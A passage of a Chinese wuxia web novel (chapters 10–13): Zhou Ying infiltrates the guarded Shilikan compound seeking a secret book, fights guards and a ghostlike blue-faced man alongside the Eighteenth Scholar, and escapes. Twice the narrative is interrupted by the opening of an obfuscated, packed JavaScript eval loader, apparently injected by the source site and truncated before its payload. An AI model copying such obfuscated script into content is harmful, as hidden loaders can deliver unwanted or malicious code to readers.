一百一十九年前的恶鬼劫难,公室除了留守十里槛的朱明公室幸运逃过一劫。其余公子全部身亡,数千金刀卫尸骨无存,甚至连无忌公室也难逃一劫。 而那只恶鬼,最后就是死在阎王刺下。 九鬼谶言一旦应现,恶鬼若真卷土重来,必然会先对阎王刺和公室下手。 可……周盈始终觉得还缺点什么,正思索着,忽听十八学士问:“海若渊擒住了青面人,定然是要将他押回十里槛,你可还要跟去瞧瞧?” 周盈道:“公室手段了得,这事儿又做得隐秘,本就有意隐瞒,我何必去趟浑水?” 又道:“家中有人惦记,我得回家了。” 十八学士点头,道:“你我有缘,以后一定还会再见的。” 二人匆匆道别,周盈目送十八学士北上,一直看着远去的身影逐渐没入黑暗,直到最后消失无踪,看不到一点影子。他心下一松,又转头回到村中。 祭典结束,人们回味一番,谈笑一番,兴味反而淡了许多。村民握住那极长的杆子,杆子的一端缠了麻绳稻草,绑上小匙,添满灯油,街上倒是十分亮堂。 周盈寻了村民,问十里槛如何走。 那些村民见他背剑,也见怪不怪了。只是此地原是公室辖域边缘,十里槛离此处少说也有百里之距离,况且天已经下黑,便劝他歇息一晚再去。 周盈打定主意,自然说不动。 黑暗中灯火熹微,那人只好指着大前方,道:“公子若要去十里槛,有两条路,现在能看到的这条是小路,路上曲折,行人又少,公子无人结伴,最好别走。还有一条是大路,只要顺着小路去,不下三里路,遇到客店,右转后直走就是。” 话才说完,天上落了雨滴,洋洋洒洒,是一场不宜时的秋雨。 这雨来得缓,摆开了架势就不肯再收,雨势不大,绵绵长长,却不知要下多久。 村中纵有夜里的行客,也都宁愿回到客栈歇息。 村民有心护着灯火不灭,要换了遮雨的灯罩,没想到连累护灯人淋湿,灯依旧是一盏一盏灭了。 守到了束手无策,他们才有些失望地各自回家去了。 然而他们此刻的苦恼会因与妻儿、丈夫分享到今日的热闹而渐渐冲淡,因为一年一度的山神祭典能给他们最踏实的希望。 过了这丰收时节,每个人都相信明年又会有好收成。 当行人因雨渐渐散去时,周盈出了村,已经走过了三公里路。 在他的面前,是一家酒馆,傍路作着营生,酒馆挂上了火红的大灯笼,是秋夜里的一道光。 前日标记的焰火沿着面前大路,正朝着十里槛缓缓移动。周盈推测那个金刀卫想必已经同海若渊一起返回十里槛了。等他一醒,当时自己与十八学士无故拦路的行为必然被全数告知了。 想到这里,周盈那张曾蒙着黑布的脸起了笑意。 看来多此一举也不见得全是坏事。 仰天一望,天上正落着雨。他冲进雨里,顺着小路,一路疾行。 数个时辰后,小路将尽,灯笼火热的光在黑暗中星星点点,雨终于停了。 10. 不寰鸟(十) 夜色如磐,公室之外的人们都已经沉浸梦乡,唯有九江驿,这个背靠公室存在的最大的驿站始终灯火通明。鳞鳞大厦,气度雍容,收纳南来北往的过客。 “拿件衣服。”有个年轻声音道。 九江驿的掌柜抬头一看,来人是个少年,显然是冒雨赶路,一身衣衫全部湿透,进门时在地上留下一串水痕。 九江驿这种大店深谙生财之道,店里常备些应急的衣衫就是为了应对这种场面,坐地起价还能多赚一笔。 于是掌柜摸出件袍子,又说:“呦,这雨可下了一夜,客官是有急事?” 周盈略一迟疑,说:“这雨下得巧,倒也不急。” 掌柜笑道:“既然不急,不如开间房歇息歇息,养足精神再走也不迟。” 周盈点点头,瞧了眼掌柜刚拿出的长袍子,道:“要短衫。” 掌柜只好摇铃唤来小堂倌,当面嘱咐。说完又回头问周盈:“客官可还有其他吩咐?” 周盈道:“要与我这件一个颜色的。” 小堂倌这时才打量起眼前的人,只见他身形修长,湿透的衣衫因雨水加重了颜色,最寻常的青黑之色平添几分随性,身后一把青白长剑在阴影反而有些招眼。 小堂倌想去看真切些时,来人衣角的水滴落下,在地上啪地拓出水花,瞬间把他惊醒。 小堂倌连忙去寻衣物了。 掌柜接着道:“公子要住多久?” “只住今晚。” 说罢,从湿透的衣衫中取出指头大小的银锭。 掌柜在此经营多年,这种临时的行客自不少见,匆匆而来,匆匆而去,留不下痕迹,也招不来麻烦。 掌柜翻着登记的册子,近来四村惨案闹的人心惶惶,有些流言蜚语压不住,来往十里槛的人多了不少,想寻一间空房似乎有些困难。 周盈耐心等着,此时距离天亮还有相当一段时间,一场秋雨似乎使一切都慢了下来。路上没有行人,打着梆子的商贩不知什么时候出现,连着九江驿也只是静静伫立着,暂时收敛了平日的光彩。 硕大的灯笼照得大厅敞亮,火光为掌柜找字提供便利,轻易照出大厅正中最醒目的大字。 那是一幅对联。 上联写着“廿二不添一”,下联是“山海不聚头”,中间横批“四方安定”。 周盈正想着如何当得起“四方安定”四个字,忽然来阵入堂风,灯笼随之晃动,灯光骤然收敛,使得这幅大字对联也暗了下去。 尤其是横批四字离地面太远,离房梁又太近,空让人觉得虚浮。 掌柜道:“四楼的空房,公子请随我来。”周盈便从无谓的字眼里脱出,随着掌柜上了四楼。 掌柜上楼时踩得地板啪啪响,这个声音一直到四楼的第六间才停止。 掌柜道:“公子稍等片刻,换洗的衣衫一会儿就送来。” 说罢,掌柜离开下了四楼,脚步声再次响起,并逐渐走远了。 客房里面只一张卧床,一个茶桌,一对历时长久已经包了浆的旧椅子。椅子落了刀痕,却还□□着。 周盈身上湿漉漉的,便只坐在那空置的椅子上。他从怀中摸出半枯黄的金鱼草,盯了好一会儿。 待脚步声再次响起,逐渐靠近,随之响起了敲门声,他才起身开门。一看,正是送衣衫来的小堂倌。 衣衫上,一块棉帕整整齐齐放着。 周盈见他准备得齐全,又怕他多事,提醒道:“我歇息时万不可打扰。” 那小堂倌知这些修行之人本事大,脾气大,连忙应着离开了。 将门一关,周盈就把衣衫放在桌上,一手握着小草,一手捏着法诀,指尖一转,周身旋起蓝色的火焰。 狂热的火瞬间将他整个儿吞噬,随着火的跳动,身上逐渐冒出小缕小缕的白烟,无风的内室,蒙蒙烟色骤地笼罩全身。 但那白烟持续两三秒便消散,只留一下一点烛火的光。 蓝焰一熄,身上随之干透。 周盈这才褪下旧衣,换上新衫,又把金鱼草塞回怀中。 特意要的短衫,为的是行动起来方便。他抓起衣服,上面已经被划开好几个口子,裤脚上厚厚敷了一层泥。思索一番后,周盈拔出长剑,三五下就把它划成两指来宽的细长的布条。 然后就着不算亮的两盏灯烛,一点一点,耐心用青黑色的布条把剑严严实实裹住。 做完这些,把剑往身上一背,伸手推开窗户。 数百米外,昼夜不熄灭的灯火连成一线,织成密网,严严实实缠绕着十里槛。 每隔一两里便是一个聚集的光点,大大小小的光点像无数双眼睛,替这座拔地而起的庞然大物在黑夜下无言地照看着这座城。 与十里槛遥相呼应的正是脚下这家最大的驿站。 九江驿契合其名,傍着一条弯弯长河建立。周盈站在四楼,上面是巨大的九江驿的牌匾,下面是一条晶莹的长河,在黑夜静静流淌。 夜晚的九江驿因为招待来往客子,是闹中存静。十里槛恰恰相反,宁静之下,永远是波涛汹涌。 周盈依旧蒙上了面巾,轻步快行,顷刻之间便到了十里槛的山底下。 刚刚在远处看见的火光渐渐变得清晰。 十里槛设置无数据点,每个据点十人或五人,三里一个小据点,五里一个大据点,守卫极其森严。 在数量众多的金刀卫面前,十里槛大门倒成了摆设,周盈找准时机,轻轻一跃,已经翻过了最外围的第一槛。 十里槛的火光因树叶和高墙遮蔽,只能照出似人非人的影,周盈不敢点火,只能借微光顺着空隙一路小心缓行。 十里槛每一槛自成一个闭环,像是一道道城墙。小据点之间有巡逻的金刀卫,周盈摸清他们来回的规律,一个哨岗的金刀卫每隔一刻钟就会派出十人向两边轮流巡查,若遇到两边金刀卫都向同一边行进,便会有行走的空隙。 摸准这个,不过小半个时辰他已经摸上了第六槛。 从第六槛起,小据点守卫的数量增加至五十人,大据点更是不下百人。此外,除了原先固定的巡查队,几个大据点还要不断派人在槛内进行动向巡视。 庞大的人数,频繁的巡查,像一张密织的网,试图捕捉每一个变数。 而周盈要的东西在第八槛。 避过了第六槛的巡查,待要向第七槛上时,守卫意外地增加,再不容许他守株待兔似的钻空子。 周盈只好捏着法诀,给巡查的金刀卫点了追踪焰火,他吃过亏,路上试验了好几次,点下焰火时不会再露馅。 就这样,他巧妙地绕过了第七槛的追查,来到了第八槛。 第八槛的布局似乎又大不相同。 周盈只知那本记录了无数奇珍异宝的《神机会元》被藏在公室的书阁里,却不知在书阁具体在第八槛的哪一角。 当时酒馆中人偶然提及这本书,他留神听了进去,再加上匆匆搜集到的一点消息,只能猜到这里。 因此,他只好一点点摸索。 两槛之间用朱红的高墙围着,十里槛依山而建,布局并不方正,而是环形的。一槛分内外,第八槛实际是以第九槛为内圈。 沿着外圈摸索一阵后,便见到一个拱形的“大门”,但那“门”却没嵌在墙体内,反而与墙体并列在一起。等他想去找那悬在门上的匾的时候,才发现那根本不是门,而是一块突出墙体的巨大石块。 石块上刻了两掌宽的大字,因天色黑暗不知那字写得是些什么。 周盈跳上台阶,用手一摸:十代公室。 原来是无忌公室的坟墓。 他脚下踩的竟然是无忌公室的石棺。 周盈自觉冒犯,连忙从石棺上跳下去了。 再往前一看,连着数十个,都是一样的布局,原来他走到了历代公室的葬身之处。 周盈只好继续探查,期间躲过了两队交接的守卫,又摸到了个门一样的东西。 这回的倒是个真门。 抬头一看,门上无匾。 看了两眼,发现有些奇怪,他伸手一捉,捉到一把枯草。 门上面竟然覆盖厚厚一层稻草。 公室往这门上铺些稻草做什么? 周盈想着,稍微一施点术法,那茅草覆盖的门上立即显现出白色的光斑,是阵法。 他连忙收力,一捏法诀,巡逻守卫还没异常移动,应该没发现刚刚一刹那的变化。 周盈觉得有趣,公室还真爱设些奇奇怪怪的阵法。 于是,他用手慢慢向门闩处摸索。一摸,竟然是空的,原来只是个门框。周盈心知不应该再纠缠,在上面标记了焰火便继续往别处摸索。 意外的是,其余路上的金刀卫似乎一下被撤走,半天看不见一个人影,连巡逻的火光都不见了。 周盈心中疑惑,加紧了步伐。 不过半刻,再次摸到了门。此时距他进入第八槛已经过去了大半个时辰,十里槛依山而造,越到上面空间越是狭小,外圈再寻不到藏书馆,就只能往内圈去了。 这次周盈先去寻门上的匾。 一摸,匾上赫然写着两字———苦牢。 好像是一间牢房。 他正想走开,却发现那门是虚掩着的,里面黑洞洞的,没有一丝人气。过道狭长而又逼仄,阴冷阴冷的,怎样都不像藏书之处。 周盈心道,才过了三更,离天亮还有一段时间,看看又何妨。 就又往里面走了几步,周边忽然开阔起来,原来是个方方正正的厅房。房子四面每隔六七公分就有个凹进去的石槽,上面插了火把,一摸,灰迹中还残留着火的余热。 他捏了个法诀,指尖燃起火焰,那火焰没有任何温度,只是发着炽热的金光,火焰跳动,似人生命力的显现。 房间十分空旷,指尖焰火竟随着左手的移动骤然变大。他抬头一看,那四方的房顶中间有一个圆形的图腾,圆形的外圈则是布满了火焰纹。 周盈轻轻向上一发力,掌气在接触那些火焰纹瞬间,突然扑灭。 看来这里也设了阵法。 房子的正中间似乎是一个刑架,长近一丈,宽在三尺左右。周盈手上的焰火缩小了些,冷冷地照在那青黑色的刑架上。 刑架边上挂了手铐脚镣,这原本不稀奇,可当周盈抓起其中的一个,略微一使劲,手铐上立即发出幽蓝的光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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青面人诡异的步伐在黑暗的屋中无声无息,追赶之间周盈只听见自己的脚步声。 他念了个法决,焰火熊熊燃烧,瞬间照亮大半个过道。青面人逃窜的背影就在距他二十步之外。 追到大门处,那青面人的脚步突然停止。 周盈怕他逃出去引来金刀卫,欲出招擒他。 还没动手,门在这时乍然打开,数十个手持火把的金刀卫一哄而上,把原本就狭窄的过道挤得满满当当。 青面人见诡计得逞,趁金刀卫还没反应过来,钻过大门的空隙,消失得无影无踪了。 周盈知晓不宜久战,虚发一招,想突围出去。但他没有青面人那样诡异的身法,才越过几步,便被前面数不尽的金刀卫拦住去路。 进来的大门早被金刀卫占据,这条出路已然断绝。 周盈且战且走,想寻个开阔之地再施展拳脚。 随着空间扩大,后面黑压压金刀卫涌了进来。他们将火把往墙上一插,照得屋子火灵亮起来。 为首的金刀卫呵道:“杀!” 格杀勿论! 十几个金刀卫瞬间持刀攻来,锐利刀光一闪,就要取他性命。 周盈和他们打做作一团,硕大的空间一时变得拥挤,为了脱困,他下了重手。猛猛一掌,为首的金刀卫瞬间被强劲掌力震飞。 但金刀卫就像割不完的秧子,才震开一波,又一波迅速补上。甚至不管同伴死活,踏过倒下的身躯就攻来了。 周盈把心一定,左手一捏法诀,自掌心处冒出光点,那光点逐渐变得膨大,成了一道煞白的焰火。 抬手一扫,冷焰一荡,被白色火光波及中的人霎时如剑气入骨,伤痕处渗出血来,痛得一阵痉挛。他们才察觉到体内受创,立刻就气息大乱,竟站立不住倒了下去。 后面的金刀卫见状,立刻退后数步,将金刀往腰上一放。五人结成一行,把路口封得死死的,弓箭一上手,利箭如急雨纷飞,纷纷射向周盈。 牢房没什么隔挡,他一时成了活靶子。 一阵搜索,捡起地上金刀,旋成一道虚影,将飞箭一一斩落。 金刀卫一波接一波的攻势逼得周盈不敢松懈。但他本奔波了一夜,体力略有不支,稍一迟缓,利箭迎面而来。 他连忙反应过来,倒退了数步。 这一退,便再退无可退。 而且,手上旋动的金刀受创,隐隐就要支撑不住了。 周盈暗道,公室的金刀卫果然不是吃素的。 他的手被震得隐隐发麻,再想还击时,屋外突然传来急促一声:“有人闯上第八槛,快去禀告大人。” 听到这样一声,周盈心中惊疑不定,这边还没解决好,又要来一波。 屋里的金刀卫似乎也感意外,一人慌道:“拦住他,别让他逃走。” 众人听到此话瞬间又慌忙回神戒备。 拜那一声所赐,越来越多的金刀卫涌入闭塞的屋内。周盈刚想使点花招,金刀卫却自乱了阵脚。 太多人涌入,使得空间急剧缩减,弓箭在逼仄的空间里反而失去作用。 紧接着,入门处传来金刀卫一阵惊呼,眨眼之间,拥挤的屋内竟然被生生开出一条道路。 入口处,来人持把金刀,面上蒙着与周盈一样的黑布。 四目相对,周盈愣了一下,终于忍不住笑了出来。 十八学士说得不错,果真有缘再见。 11. 不寰鸟(十一) 乍闻又有人闯上第八槛,金刀卫一时间慌得手忙脚乱,如今人走到面前反而定了心。 万事抵不过一个“拖”字。 他们是决计打不过周盈和十八学士,便重整箭队,先将二人拖住。这里是第八槛,等明师或者海若渊来了,他们就是张双翅膀也别想飞出去。 又是一阵铺天盖地的箭雨,打了一阵,周盈终于察觉不对劲儿。 决定速战速决,反手要去拔剑。 十八学士忙制止他,悄声道:“这把剑无论如何也不要拔出来。” 周盈闻言一顿,之前用布条把剑裹住,就是因为这把剑太显眼,太惹人注意。十八学士如此提醒,话中似乎又别有一番深意,分明认得这把剑。周盈心绪不觉起伏,只是现在被公室围困,又不好当面问他。 于是只得收手,仍拿着金刀抵御源源不断飞来的利箭。 这金刀虽不如短剑好使,在周盈手上却用出十二分的效果。只见他凌空旋出一道严密的刀网,将飞箭密密防住。 十八学士便腾出手,对排好阵仗的金刀卫使力一击。金刀卫瞬间就被拍得七零八落,箭阵自然也难以为继。 周盈道声“好!”,当机立断,金刀重重砍下,轰隆一声,就在侧边窗上豁出个半人高的敞口。 低声道:“走!” 才迈出半步,忽闻背后一阵骚动,剑发出低沉剑鸣。 察觉到异状,周盈当即抛出墙上火把,照见那刚被豁开的破洞。破洞旁边,一道人影窜进众人视野。 那人嘲讽道:“真是没用。” 这话是对着周盈与十八学士说的,骂的却是在场的金刀卫。 公室守卫,名震天下,素来自视甚高,听那人话语轻薄,以为他无礼擅闯十里槛,正想出手教训教训他。火光一照,乍见那通身发青的死气,如暗夜恶鬼。 金刀卫脸纷纷变成僵硬的死白。 “鬼啊!” “是恶鬼” “是恶鬼!” 一百一十九年前恶鬼成劫,多少人在恶鬼手里丢了性命。公室深受其害。这些金刀卫早有耳闻,更是怕他怕到极点。一见面便慌了神,队伍还没整顿好,只顾胡乱拔出金刀向三人砍去。 房子里顿时乱作一团。 青面人又怎会把他们放在眼里,大手一挥,逼仄的苦牢里莫名其妙起阵风,半面墙的火齐齐熄灭。 光照一失,金刀卫动作受了限制,不禁迟缓了几分。只见鬼影绰绰,眨眼间青面人杀了四五人,又直扑周盈。 身后短剑似有察觉,鸣声更响。 周盈寻着剑晃动的方向,一个突刺,金刀猛地刺入青面人胸膛。 青面人受了一刀,依旧活蹦乱跳。仗着周盈伤不了他,反而趁机缠上周盈。 十八学士在旁边干着急,见那青面人死缠烂打,左手胡乱划了几下,不知施了个什么术法,居然将青面人制住。 周盈快速脱身,几步退到洞口边,道:“快走!”一掌拍中青面人,一掌炸在地上,勉强拖住金刀卫脚步。 二人将将脱出包围,只听嗖地一声,苦牢外面凭空飞来两支利箭。 这箭来得极其迅速,不过眨眼,第一支已直冲天灵而来。 周盈根本没看清是什么东西,下意识拿金刀死死挡下。电光火石间,金刀承受不了利箭威力,哐当一声,碎成两段。 第二张支箭射向了十八学士,他手里没有武器,处境还不如周盈,只能尽力躲。 谁知那箭来得十分凌厉,十八学士虽逃过致命一击,面上的黑布却被箭风刮落,面容当场暴露。 这时,远远地传来一道声音:“来都来了,不喝杯茶再走?” 海若渊自夜下缓步而来,踩着硬邦邦的石板,一双冷眸阴沉沉盯着二人。 周盈心道,这人演技精湛啊!脸说变就变。于是他反倒笑了笑,说:“大人,我今儿忙,劳驾让让。” 海若渊道:“阁下有点眼熟?” 周盈道:“不熟,更不必盛情款待。” 海若渊居然笑了笑:“来都来了客气什么,公室牢房许久未有贵客,多住几日何妨。” 周盈见他突然发笑,反倒愣了愣,又对十八学士道:“难为人家留了座儿,我们一同蹲大牢,刚好有个伴儿。” 十八学士苦笑:“你还有心思说笑,我可是一点笑不出。” 果然,海若渊一来,金刀卫便有了主心骨。他们就收拢好队伍,迅速将这间小屋严严实实地围住。 周盈这生来有股初生牛犊不怕虎的性子,非但没有半点恐惧,反倒越挫越勇。尤其看见海若渊又拉着那张苦大仇深的死人脸,暗暗后悔那巴掌打轻了。 十八学士瞧他一副跃跃欲试的样子,一阵头疼,道:“你说,是海若渊难缠些,还是金刀卫难缠些。” 周盈道:“自然是海若渊。” 金刀卫是明枪,海若渊却是冷箭,防不胜防。 十八学士道:“那他就交给你了。” 一回生二回熟,周盈爽快道:“行。” 十八学士提醒道:“切记,别出剑。” 周盈道:“脸都被看去了,还怕剑吗!”但又想到十八学士多次叮嘱,倒真不敢随便使剑。 “那你自己小心。” 说罢,周盈左手一动,捏了法诀。 十八学士忙道:“别用这个。” 周盈只好取下剑,发力一震,围上来的金刀卫瞬间摔出数丈远。 底下打得热火朝天,海若渊一派悠然,缓缓道:“二位来得不是时候。” 金刀卫攻势突然转猛。 海若渊道:“二位既然登门拜访,不如留个名字,以免日后见面像现在这样尴尬。” 周盈心里骂他不说人话,被他看到了脸,现在问名字,不就等着满世界被通缉! 果然说归说,海若渊手上一点儿也不客气,箭头再次对准二人。 周盈怕十八学士吃亏,忍不住又去帮忙。 十八学士见他不听安排,无奈道:“不是说好,你留意海若渊。” 周盈道:“留意着呢!” 周盈在扇人巴掌上别有天赋。一边说,一边狠狠拍出好几掌,噼里啪啦好一阵爆响,打得金刀卫天昏地暗,眼冒金星。 海若渊等了两个来回,看出其中端倪。十八学士看上去似乎无暇自顾,隐隐有败退之势。但他偏偏不管,反而一箭射向早已留心自己的周盈。 砰地一声,箭离弦而去! 手上的金刀早已经碎成几段,听见声音,周盈下意识要去摸剑,但又想起十八学士屡屡叮嘱。情急之下,两掌同出,将扑面一箭截住。 十八学士本有些担心,见他截住飞箭,心上一松。 可周盈就惨了。 箭的确没在他脑门儿上戳个洞,却蹭得掌心皮开肉裂。等最开始麻痹劲儿一过,疼痛成倍袭来,疼得他头皮阵阵发麻。 周盈不愿坐以待毙,决定先发制人。 稍稍稳住身形后,他劈手夺过金刀卫身上长弓。 鲜血沿着掌心滴答滴答落下,周盈咬咬牙,狠力一射,将刚刚截得的一箭全部回敬海若渊。 海若渊也不是吃素的,迎面飞来一箭,脚下丝毫不动,长弓快转,在箭离身三寸之时将之挡下。 下一秒,乍听沉闷一声,长弓在对峙间承受不了来回拉扯,竟活生生从中间断开。 海若渊把废弓随手一丢,黑眸沉了沉,居然饶有趣味打量起周盈。死亡凝视一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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没了海若渊,失去地形优势的金刀卫有心无力,不出十招,局势便翻盘逆转。 周盈与十八学士越战越勇,很快杀出包围,退到第六槛。 第六槛的战况更为惨烈。 似乎大半驻守在十里槛的金刀卫都被调来围杀莱山罗罗,鲜血四溅,洋洋洒洒,铺了一路。周盈和莱山罗罗交过几次手,又亲眼目睹他下手杀人,不管是被杀还是杀人,莱山罗罗从不见血。现在这种情景,可见公室已经把他逼到什么地步。 拜他所赐,周盈和十八学士顺顺利利到第五槛时,只有数十个金刀卫在这里来回巡逻。 局势一路演变成现在这个样子,周盈不免觉得好笑。虽然不知道莱山罗罗是如何逃出了满是压制自己术法的囚室,但他既然逃出了,又不抓紧离开,反而引金刀卫来对付自己。偷鸡不成蚀把米,这下又要被请回大牢。 接下来可以说是畅通无阻,周盈上山时就已经摸清楚巡逻队的动静,现在下山,只要依样画葫芦就可以轻松避开金刀卫。 公室也是第一次出现这种奇怪的状况,第六槛杀得血光漫天,第六槛以下,静得如入无人之地。 夜袭十里槛还能全身而退,他和十八学士也是独一份儿的,但周盈心里没有一丝劫后余的欢喜。 现在的情形虽有利于他,但这次实际上一无所获。原本为了找《神机会元》来十里槛,现在脱了身,以后想再去找便是难上加难。公室的防守只会越来越严,想到这儿,他是一万个不甘心。 但是不甘心又怎样,总不能把十八学士一起拖下水。 谁知,一直低头走路、一言不发的十八学士忽道:“我知道你来公室是为了什么。” 周盈猛地抬头与他对视。 十八学士道:“你是为了《神机会元》。” 周盈这下真懵了,十八学士叹了口气,说:“先出去再说。” 12. 不寰鸟(十二) 江湖过客南来北往,街上商贩的梆子已经敲了好几道,长夜之后,天边渐渐出现一缕微光。 寒冷的日光洒在身上,街上拖出两条很长很长的虚影。影子重在一起,又随着时间一点点淡去。 周盈目光移到一旁的剑上。 这剑外形与寻常的不同,剑不足三寸长,剑身却比寻常剑都要窄一指,剑鞘因此显得颇为细长。 解开布条时,剑身还是青白之色,不过片刻,这把剑就在二人眼前渐渐转成朱红。看到这个,十八学士没有丝毫讶异。 周盈收剑回鞘,才道:“学士第一眼就认出了。” 二人缓缓走在街上,似乎是最不急切的过客,尽管不到半个时辰前他们还在逃命。 这把剑勾起他不太好的记忆,十八学士神情黯然:“这剑名为日月轮,它的主人,与我是故交。” 沉默一阵,周盈用最平常的声调道:“那个人,他……也是十二指玉楼之人?” 十八学士只是沉默不语。 这种沉默,这种令人窒息的死感。 周盈已经见过太多次。 好几次师父以为他已经乖乖睡着,轻手轻脚走出屋子,独自面对母亲的墓,然后这样一字不语,常常一坐就是大半夜。 人就是这样奇怪,活着的无时无刻不惦记那些已死之人,但对他们的死,又总是三缄其口。 二人沿街又走了一阵,十八学士突然说要带他去看样东西。 十里槛地处南端,更是九江汇集之处。又有公室坐镇,民生安定,商旅走卒更是络绎不绝,是一处繁华之地。 穿过花花绿绿长街,十八学士领着他拐了两道弯,最后绕到了一家铺子。 抬头一看,原来是家书坊。 匾上大字写着“下家书坊”。 书坊不大,店里只有掌柜一人打理。见有人上门,掌柜马上迎了出来,殷勤道:“二位,要找些什么书?” “《神机会元》。” 掌柜脸色一变:“实在对不住,小店从听过此书。” 十八学士道用平淡却不可拒绝的语气道:“没有也不会找你。” 周盈半信半疑,他费心数日寻找的书怎会在这里。见十八学士进了铺子,便跟着进去。 见掌柜不动,十八学士道:“掌柜,开门却不做生意吗?” 那掌柜仍是一再否认:“客官,小店真没这本书,客官要是急用,去别处找找。” 说着,着急把人往外请。 掌柜一开口就连连否认,一张瘦脸甚至急得隐隐发红,周盈不由得多看了几眼。那掌柜一身长衫,长得倒是斯文,但指头…… 指头隐隐发黑,像被火气重重熏过。手掌较之更白,但若一路往上瞧,手腕则几乎到了苍白的地步。 非但如此,手指皱皱巴巴,手腕处皮肉却更为紧实。若以常人年龄比喻,前者犹如八旬老汉,后者则是青年壮丁。 这种状况在修行之人身上不足为奇。 修行能延缓衰老,于寿元助益良多。 普通人活个八十载已经稀罕至极,修行之人往往能活上百余岁。因此,一个七八十岁的修行之人站在寻常三四十的青年人面前,后者若是不明,甚至会将其当作小辈。 不过,也有破绽。比如,修行之人身体各处器官的衰老过程大大异于常人。 通常四肢先老,而后华发尽露、牙齿脱落。 其中手指又是最先衰老的,手指的状态通常能直接反应一个修行之人的真实年龄。 当然,这是一般修行之人。 不一般的,统一称之修者。 修者的年龄无关紧要,他们青春永驻,直到临死前几年,头发才会渐渐调白,乃至天人五衰。 只是修者极少,比如十里槛,除了朱明公室这种竞争者全部死光,走了狗屎运才登大位的,每一代公室掌权者不出意外都是修者,而且他们通常会掌权两三百年。 也就是说,即便是公室这种修行界顶峰,也需要两三百年的时间才能培养出一个修者。 而这个书坊掌柜显然就是一个修行之人,真正年龄大约八十出头。 掌柜似乎有所察觉,忙将袖子扯下。 十八学士咳了一声,周盈起手就往那掌柜头顶拍去。 掌柜被他意外举动惊得连连后退,这一退,是不是练家子一眼就瞧出来。 十八学士道:“此事明师大人已经知道,你若再不坦白,他便亲自来查。” 十八学士此时冒用了明师旗号,又是空口无凭,真假自然无从验证,但他架势十足,又有周盈在旁边帮着坑蒙拐骗,居然弄得好像真有这么一回事儿。 掌柜心有余悸,想走又被拦住,见敷衍不过,只得含糊道:“这书来得偶然,大人千万明察。” 一边说,一边撬开架上暗格,取出本发黄的旧书。 周盈凑近看,书封上果真写着竖排的黑色大字:神机会元。 然而,翻开一瞧。 “…………” 密密麻麻全是野史。 专为公室胡编乱造的野史。 譬如第一页,英明神圣、手眼通天的初代公室居然被编排成个大情痴。 众所周知,这位公室大人一生无妻无子,天天就琢磨着如何为公室奠定百代基业、开拓万里江山,结果在这位无良小说家玉京子——玉京子是罗刹海三煞之一,与公室是死对头,编排敌人是不余遗力的。 他大笔一挥,初代公室就成为前无古人、后无来者的第一大情痴。 白痴的痴。 玉京子笔下的初代公室,只因为在预言里见到了一名女子,连人家姓甚名谁、究竟长个什么模样、是否婚配都没弄清楚,居然就此念念不忘,终身不娶,抑郁成疾,最后溘然长逝。 再比如无忌公室,也就是第十代公室。 其丰功伟绩更是数也数不清,至今提起公室大人,所有人第一个反应也是这位无忌公室,而非当今空有其名的朱明公室。 凭其斩杀恶鬼、救千千万万老百姓于水火的功劳,足以让往后十代子孙都受到披泽,美名尊崇享之不尽。 甚至说,要不是这位公室大人死后遗泽,明师和海若渊只怕早早夺了八段金枝……让公室改朝换代。 就是这样一位享尽盛誉的英雄,玉京子自然也不放过。 在他笔下,这位公室大人无端多出个私生子,而八代公室也多了个流落在外的女儿。 一本情节离谱、对公室处 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比如,日月轮第一任剑主的名字上面就找不到。 周盈想了想,觉得这样反倒合理,初代公室死前预言何其隐密,十里槛上千年的积攒多如繁星,玉京子又怎会一字不漏全部知道。 见他把书缓缓合拢,十八学士才道:“这书可还有别人看过?” “没了,没了。”那掌柜连声否认,“这上面都是些诽谤之语,我不敢让别人看。” 十八学士也不客气,将书缴“赃”,便与周盈离开。 才出店门,周盈忍不住道:“书上只有这些?” “自然不是。”十八学士带他来这么一遭,此刻才道,“真正的《神机十器》的确在十里槛,一会儿我带你去看。” 周盈:“……!” 周盈想:“不是自己听错了,就一定是十八学士在开玩笑。明明不久前才在海若渊面前露了马脚,现在又说去公室……要真如此说来就来、说去就去,那……那之前还跑什么?” 周盈一顿腹诽,忽听背后一阵急行之声。 一回头,原来是昨日九江驿的堂倌。周盈记得账已经付清了,不知道这小堂倌来找自己还会有什么事。 小堂倌一路小跑过来,见到周盈,确定没有看错,才道:“公子,你走得急,落了东西。” 周盈一摸,山神人偶早不知跑哪里去了。昨晚他急着去十里槛,换衣服就只顾着金鱼草和日月轮,倒忘了山神像。 十八学士见他脸色微变,问道:“可是什么紧要的?” “倒不打紧,但是别人好意相赠,随意丢了总是不太好。” 堂倌见缝插针,机灵道:“原是昨晚拾到的,但又得公子叮嘱,不敢打搅。东西还在店里,公子与我去拿就好。” 十八学士算了算时辰,道:“我另有要事,稍后再去店里寻你。” 周盈点点头,抬腿就走,然而小堂倌却不动,只是眼巴巴望着他,咧嘴笑着。 周盈觉得他笑得有点傻。 十八学士叹了口气,从怀中摸出枚银锭痛快赏给笑得有点“傻”的小堂倌。 13. 不寰鸟(十三) 一进门,驿馆掌柜高声呵道:“臭小子,又跑哪里去偷懒。还不快带这几位客官上楼!” 昨晚的招待周盈的掌柜不知走到哪里,正当值的是个火爆脾气的。 此时,堂上正站着两个走夫打扮的汉子。 那掌柜吼了一句,表明不是自己怠慢,才从柜上抽出块对牌,不耐烦地扔给堂倌。 堂倌被劈头盖脸一顿骂,只好接了对牌,说:“公子,您稍等一下,小的先带这两位客官上去,马上就把东西给您送来。” 周盈见他有事缠身,自然不好追究,自己寻了坐处等着。 都说靠山吃山,靠海吃海,背靠十里槛这座大山,又是九江通汇之处,九江驿的生意可不是兴隆二字可以形容,灾年的棺材铺也没这么旺。就刚刚这一会儿,踏入门的就有二十多号人。那堂上掌柜把本子左翻右翻,愣是再找不出一间空屋子。 而且,门口马上又来三个人。 一刀一剑一棍,显然都是武者。 三人走到柜前,掌柜两手一摊,表示已经没有房间了。 那背刀的是个小个儿汉子,一张短脸偏偏长了对冲天眉,生来一副怒发冲冠的样子。听到没有房间,把脸一沉,转身就走了。 同行两人拉他寻了位置坐下,那位置不偏不倚,正好就在周盈边上。 